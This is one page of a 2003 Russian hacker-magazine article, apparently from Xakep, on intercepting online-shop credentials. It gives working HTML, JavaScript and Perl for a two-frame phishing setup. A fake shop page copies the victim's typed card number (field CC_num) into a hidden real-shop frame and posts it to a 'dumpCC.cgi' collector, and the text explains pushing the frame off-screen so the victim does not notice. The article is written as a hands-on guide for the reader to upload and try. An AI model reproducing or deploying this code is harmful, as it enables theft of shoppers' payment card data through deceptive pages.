Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #29, АПРЕЛЬ 2003 г.

НАСАДКА НА ОНЛАЙН-МАГАЗИН - технология перехвата кред

aDm

Спецвыпуск Xakep, номер #029, стр. 029-076-3


<script language=JavaScript>

function doGo()

{

parent.window.real.location.href="link2.html"

}

</script></head>

<body>

Поддельный онлайн-магазин

<a href=link1.html OnClick="doGo();">[Каталог товаров]</a>

</body></html>

------ fake.html ------

------ real.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title></head>

<body>

Реальный онлайн-магазин<br>

<a href=link2.html>[Каталог товаров]</a>

</body></html>

------ real.html ------

Качай все это на сервак и пробуй. При нажатии на ссылку "Каталог товаров" в правом фрейме и загрузке в нем файла link1.html, в левом фрейме должен загружаться файл link2.html. Ощутил силу :)? Поехали дальше.

Следующее геморройное действие юзера, которое надо дублировать – это заполнение форм. Дополняй файлы fake.html и real.html следующим образом:

------ fake.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title>

<script language=JavaScript>

function doSubmit()

{

parent.real.document.real_form.submit()

}

function doChange()

{

parent.real.document.real_form.CC_num.value=parent.fake.document.fake_form.text1.value

}

function doGo()

{

parent.window.real.location.href="link2.html"

}

</script></head>

<body>

Поддельный онлайн-магазин

<form method=post action=/cgi-bin/dumpCC.cgi name=fake_form>

<input type=text name=text1 onChange="doChange();">

<input type=submit value=" ok " onClick="doSubmit();">

</form>

<br>

<a href=link1.html OnClick="doGo();">[Каталог продуктов]</a>

</body></html>

------ fake.html ------

------ real.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title>

</head>

<body>

Реальный онлайн-магазин<br>

<form method=post action="/cgi-bin/orderSend.cgi" name=real_form>

<input type=text name=CC_num>

<input type=submit value=" ok ">

</form>

</body></html>

------ real.html ------

И еще надо создать две cgi’шки – это в тестовых целях, чтоб мы видели, что вся инфа из форм постится правильно. Создавай файлы с одинаковым содержанием dumpCC.cgi и orderSend.cgi и швыряй их в папку cgi-bin.

------ dumpCC.cgi/orderSend.cgi ------

#!/usr/bin/perl

print "Content-type:text/html\n\n";

print <STDIN>;

------ dumpCC.cgi/orderSend.cgi ------

Теперь заливай, и проверяем. При изменении текстового поля в правом фрейме, текстовое поле в левом фрейме тоже меняется! Но это еще не все: при нажатии кнопаря "Ok" и отправке формы из правого фрейма, форма в левом фрейме тоже отправляется! Получается, что юзер заполняет форму в видимом фрейме – при этом точно так же заполняется форма в невидимом фрейме – и отправляет ее, одновременно отправляя форму из невидимого фрейма.

Кстати, по поводу невидимости: перепиши index.html следующим образом, и левый фрейм уберется у тебя за край экрана – станет невидимым.

Назад на стр. 029-076-2  Содержание  Вперед на стр. 029-076-4